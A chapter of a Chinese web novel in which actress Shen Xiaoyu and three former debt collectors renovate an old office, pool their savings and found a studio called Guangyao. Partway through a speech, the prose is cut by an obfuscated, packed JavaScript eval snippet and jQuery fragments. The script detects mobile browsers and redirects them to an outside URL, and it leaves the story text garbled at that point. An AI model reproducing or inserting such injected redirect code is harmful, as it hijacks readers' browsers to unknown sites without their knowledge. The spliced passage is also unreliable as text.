胜诉后的第七天，北京东四环的晨光刚漫过矮楼屋顶，沈小鱼便站在了一栋斑驳的老旧写字楼前。楼体是九十年代的红砖结构，外墙爬满灰绿色的藤蔓，几处墙皮已经剥落，露出里面暗沉的底色，门口保安室的玻璃蒙着一层雾，老大爷趴在桌上打盹，收音机里的戏曲声断断续续飘出来——这地方，和“顶流视后”“胜诉英雄”的标签，格格不入到刺眼。
沈小鱼穿着简单的卫衣牛仔裤，手里攥着一张泛黄的租房信息，身后跟着三个拎着大包小包的男人：李强扛着个磨破边的工具包，里面装着他当年在工地攒下的扳手螺丝刀；阿斌怀里抱着几卷皱巴巴的装修图纸，是他熬夜画的；小武则吃力地扛着一箱二手办公桌椅，边角磕得掉了漆，不知道是从哪个旧货市场淘来的。
三人抬头打量着这栋楼，脸上表情复杂得很。李强把工具包往地上一放，挠了挠头，语气里带着犹豫：“沈总，咱真就选在这儿？”他顿了顿，声音拔高了些，“你可是刚拿了金鹰奖、上了央视新闻的人，打赢官司还掀了行业黑幕，多少人盯着你呢！咱哪怕找个中等写字楼，也比这破楼有面儿啊！”
沈小鱼笑了，指尖轻轻碰了碰斑驳的墙皮，语气平静却通透：“李哥，你忘了？三年前你在工地搬砖的时候，住的是漏风的工棚；我最惨的时候，住的是月租八百的地下室。现在这楼，离医院近，方便我去看我妈，月租一万二，比CBD便宜一半，顶层还有两百平的空房——够我们用了。”
她推开吱呀作响的玻璃门，铁锈摩擦的声音格外刺耳：“气派不能当饭吃，也不能帮基金会撑下去。我把四百万全捐了，手里没余钱，接下来既要应对星光传媒的上诉，又要养基金会，得省着花。活下去，才能做更多事。”
三人对视一眼，都没再说话。李强扛起工具包，小武掂了掂怀里的桌椅，阿斌把图纸抱得更紧了——他们懂沈小鱼的难处，更懂她的踏实，就像三年前她哪怕欠着债，也从没赖过一分钱那样。
顶层的空间果然宽敞，却也空旷得令人心慌。水泥地面沾着灰尘，天花板上裸露着粗细不一的管道，墙上还留着前租客涂鸦的痕迹，唯有几扇巨大的落地窗，能让午后的阳光毫无保留地涌进来，照得空气中飞舞的灰尘都格外清晰。
沈小鱼走到窗前，扶着冰凉的玻璃，看着楼下川流不息的车流。三个月前，她还在横店的暴雨里跪着拍戏，为了母亲的医药费彻夜难眠；三个月后，她赢了官司，成立了基金会，现在又站在这里，要搭建一个属于自己的小天地——一个没有潜规则、没有压榨，能让她安心拍戏、也能护着身边人的地方。
“开工吧。”她转过身，眼底闪着光，语气坚定。
接下来的三天，这栋老旧写字楼的顶层，成了四人的“战场”。曾经的“债主与债务人”，彻底变成了并肩干活的装修队，每个人都拿出了看家本领。李强当过工地工头，顺理成章成了总工，量尺寸、拌水泥、搭架子，动作熟练得不像话，连墙上的裂缝都能精准找出修补方案；阿斌心细，负责采购材料，货比三家，一块瓷砖都要砍价半天，买回来的油漆、地板，性价比高得惊人；小武力气大，搬家具、扛板材、砸墙，什么重活累活都抢着干，额头上的汗就没停过；沈小鱼也没闲着，挽起袖子刷墙、铺地板、组装办公桌椅，手上磨出了水泡，就贴上创可贴继续干——拍戏时吊威亚、滚泥潭都不怕，这点累算什么？
阳光从清晨照到日暮，每天都能看到四人忙碌的身影。第一天，墙面被刷成了干净的浅灰色；第二天，深色复合地板铺得整整齐齐；第三天，办公区、会议区、休息区被划分得清清楚楚，最里面的小房间成了沈小鱼的办公室，一整面落地窗，能望见远处的城市天际线。
第三天傍晚，最后一盏吸顶灯被李强拧上。沈小鱼按下开关，暖黄色的灯光瞬间洒满整个空间，驱散了老旧写字楼的阴冷。简陋的办公桌椅摆得整齐，墙上的涂鸦被油漆盖住，空气里还飘着未散尽的油漆味，却干净、明亮，透着一股蓬勃的生气。
“成了。”李强抹了把脸上的灰，脸颊蹭出两道白印，像只花猫，他往刚组装好的沙发上一瘫，累得直喘粗气。
四人都瘫坐在沙发上，没人说话，就静静地看着这个从无到有搭建起来的空间。灯光落在他们身上，映着脸上的汗渍和灰尘，却格外耀眼——这不是什么气派的写字楼，却是他们一点一点拼出来的家。
忽然，李强猛地站起身，快步走到门口。那里放着三个黑色的旧箱子，边缘都磨得发白，是他们三天前带来的，沈小鱼以为是装工具的，没多问。他把箱子一个个拖到会议桌旁，蹲下身，用力拍了拍箱子上的灰，然后抬头看向沈小鱼，语气郑重：“沈总，开箱。”
沈小鱼心里一动，起身走过去。李强掀开第一个箱子的盖子，瞬间，一沓沓现金映入眼帘——全是旧钞，最大面额是一百，更多的是五十、二十，甚至还有十块、五块的零钱，钱角卷得发皱，捆钱的橡皮筋颜色五花八门，红的、黄的、黑的，像是从无数个地方一点点凑来的。
第二个箱子，第三个箱子，掀开盖子，全是一模一样的旧钞，堆得满满当当，几乎要溢出来。
“这是……”沈小鱼僵在原地，指尖微微颤抖，喉咙发紧，说不出话来。
“我们哥仨的‘债转股’，追加投资。”李强的声音有些沙哑，他蹲在地上，抬头看着沈小鱼，眼底泛着红，“一共四十八万七千六百三十五块，零头我们留着当生活费，整数都在这儿了。”
他指着第一个箱子：“这里面有八万，是阿斌他爹的棺材本，老爷子说，能跟着你干，比存银行靠谱；第二个箱子里十二万，是小武准备结婚的钱，他跟他对象商量好了，婚可以晚结，跟着你干不能含糊；第三个箱子里二十八万，是我把老家的房子卖了——那房子是我妈留的，我想，我妈要是活着，也会支持我。”
沈小鱼的目光扫过三个男人：李强的眼眶通红，却强装镇定；阿斌低着头，手指抠着箱子边缘，肩膀微微发抖；小武别过脸，偷偷用袖子抹眼泪。她看着那些皱巴巴的现金，每一张都带着生活的重量——那是阿斌父亲的养老保障，是小武一辈子的婚事指望，是李强唯一的念想。
三年前，就是这三个人，堵在她的出租屋门口，拍着门喊她还钱，语气凶神恶煞，恨不得把她生吞活剥；三年前，她躲在楼道里哭，是这三个人，把一碗热姜汤塞到她手里，骂她“没出息”，却又默默帮她挡了追债的人；法庭上，是这三个人，红着眼眶说“律师费我们出”；发布会后，是这三个人，买了火锅，陪她庆祝。
时间真的太奇妙了。它能把针锋相对的债主与债务人，变成生死与共的伙伴；能把冰冷的债务，变成滚烫的信任；能把绝望的泥潭，变成并肩的战场。
“你们……”沈小鱼的声音发颤，眼泪终于忍不住掉了下来，“房子卖了，你们住哪儿？小武的婚事，阿斌父亲的身体……”
“房子没了可以再买，婚没了可以再结，我爹身体好着呢！”李强猛地站起来，走到沈小鱼面前，第一次用这么认真的语气跟她说话，“沈小鱼，三年前我们追你债，是因为我们要活，要吃饭，要养家。现在我们把命都押在你身上，是因为——你值得。”
他指着这个刚装修好的工作室，声音铿锵：“你把打赢官司的钱全捐了，我们知道你难；你想撕开行业的黑幕，我们知道你险；你想护着那些跟你一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953282|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样的人，我们佩服你。从今天起，这儿就是我们的战场，你是指挥官，我们是兵！仗打输了，我们认，大不了再去搬砖、讨债；但这仗，必须打！”
沈小鱼看着他，看着他脸上那道在工地上留下的疤痕，在灯光下格外清晰。她想起三年前那个暴雨夜，他浑身湿透，却把姜汤塞给她；想起她在法庭上发言时，他攥着拳头，红着眼眶的样子；想起他此刻，哪怕红着眼，也依旧挺直的脊梁。
她笑了，笑着笑着，眼泪掉得更凶，却不是因为难过，而是因为滚烫的温暖。她转身走到办公桌前，打开抽屉，拿出三份早已准备好的聘用合同，走到三人面前，一一递过去。
第一份递给李强，她的声音温柔却坚定：“李强，聘你为光耀工作室安保总监兼战略顾问，月薪三千，包吃住，年底分红按工作室盈利比例算，绝不亏待你。接受吗？”
李强愣住了，伸手接过合同，指尖颤抖，他低头看着上面“光耀工作室”四个字，又抬头看着沈小鱼，眼眶更红了。他拿起笔，一笔一划地签下自己的名字，字歪歪扭扭，却写得无比认真，像是在签下自己的一生。
第二份递给阿斌：“阿斌，聘你为后勤主管，负责工作室所有采购、后勤保障，月薪三千，包吃住，年底分红。”
第三份递给小武：“小武，聘你为安保副总监兼司机，负责工作室安全和出行，月薪三千，包吃住，年底分红。”
阿斌和小武接过合同，飞快地签下名字，三双手同时按在合同上，墨水渗透纸张，像是一场庄严的宣誓——从此，债务清零，伙伴就位。
沈小鱼收起合同，看着眼前三个并肩作战的伙伴，眼底闪着光：“从今天起，我们四个，就绑在一起了。钱一起赚，仗一起打，锅一起背，福一起享。以前我欠你们的债，从今天起，用一辈子的情谊还；以后我们一起闯出来的路，一起走。”
她走到窗前，推开窗户，傍晚的风涌进来，带着深秋的凉意，却吹得人心里发烫。窗外，华灯初上，北京的霓虹次第亮起，勾勒出城市的轮廓。她回头看着三人，笑容明亮：“这个圈子欠我们的，我们要一样一样拿回来；我们想守护的，要拼尽全力护好。”
那天晚上，四个人在空荡荡的工作室里，吃了属于光耀工作室的第一顿饭——外卖火锅，锅是从家里带来的旧锅，凳子不够，李强和小武就蹲在地上，阿斌坐在沙发上，沈小鱼靠在办公桌上，围着火锅，热气蒸腾，模糊了每个人的脸颊。
火锅咕嘟咕嘟地冒着泡，李强夹了一筷子毛肚，含糊不清地说：“沈总，咱工作室都成立了，得有个正经名字吧？总不能一直叫‘小鱼工作室’。”
沈小鱼想了想，目光扫过窗外的灯火，又看了看眼前的三人，轻声说：“叫‘光耀’吧。”
“光耀？”李强愣了愣，“光耀资本那个光耀？”
“嗯。”沈小鱼点头，夹起一片青菜，语气平静却有力量，“以前，光耀资本是踩过我的坑，是我荒唐过往的一部分；现在，我要让‘光耀’变成我们的名字——提醒我们，哪怕从泥里爬出来，也要走正路，行正事，靠自己的本事，活成能照亮别人的光。”
“好！就叫光耀！”李强拍着大腿叫好，小武和阿斌也跟着点头，眼里满是赞同。
窗外，城市的霓虹越发明亮，老旧写字楼的顶层，一盏暖黄色的灯亮得格外醒目。四个曾经在泥潭里挣扎的人，围着一口热火锅，笑着，闹着，眼里有光，心里有底。
这光，或许微弱，不足以照亮整个行业的黑暗；这路，或许难走，布满了资本的围剿和未知的阻碍。但他们知道，从今天起，他们不再是孤军奋战。
旧债清零，新程开启。